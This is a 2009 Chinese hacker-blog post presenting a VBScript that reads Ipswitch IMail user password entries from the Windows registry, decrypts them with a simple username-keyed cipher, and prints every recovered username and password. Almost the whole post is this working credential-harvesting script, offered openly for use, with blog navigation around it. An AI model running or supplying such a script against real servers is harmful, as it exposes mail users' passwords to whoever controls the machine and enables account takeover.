导航

心动吧黑客BLOG

自发研究:须要多维思想而且要想不可能为可能的人才能做到

« 动网论坛(DVBBS)Show.asp页面过滤不严导致跨站漏洞Microsoft WPAD Technology Weaknesses »

Imail密码解密脚本

作者:tyw7

自动从注册表中读取并解密

‘imail password decrypt

‘code by tyw7  2009-4-15

‘http://www.tyw7.cn

 

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = “.”

Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!\\” &_

strComputer & “\root\default:StdRegProv”)

strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains”

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys

wscript.echo “Domain: “&subkey

strKeyPath2 = strKeyPath&”\”&subkey&”\Users”

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2

For Each subkey2 In arrSubKeys2

strKeyPath3=strKeyPath2&”\”&subkey2

strValueName = “Password”

oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue

if len(subkey2) and len(strValue) then

wscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)

end if

Next

Next

function decrypt(name,pass)

while len(name)<len(pass)/2

name=name&name

wend

for i=0 to len(pass)/2-1

p=mid(pass,2*i+1,2)

p=”&H”&p

n=mid(name,i+1,1)

decrypt=decrypt&chr(clng(p)-asc(n))

next

end function

原创文章如转载,请注明:转载自心动吧黑客BLOG [ http://www.abcxd.com/abcxd/ ]

本文链接地址:http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/IMail-password.html

  • 相关文章:

发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

黑客榜之热文排行

黑客榜之本年排行

黑客榜之本月排行

黑客榜之随机文章

网站分类

搜索内容

最新评论及回复

最近发表

所属分类下的文章

日历

Copyright ⊙ 2004-2009 心动吧 UrL:ABCXD.CoM All RiGhts Reserved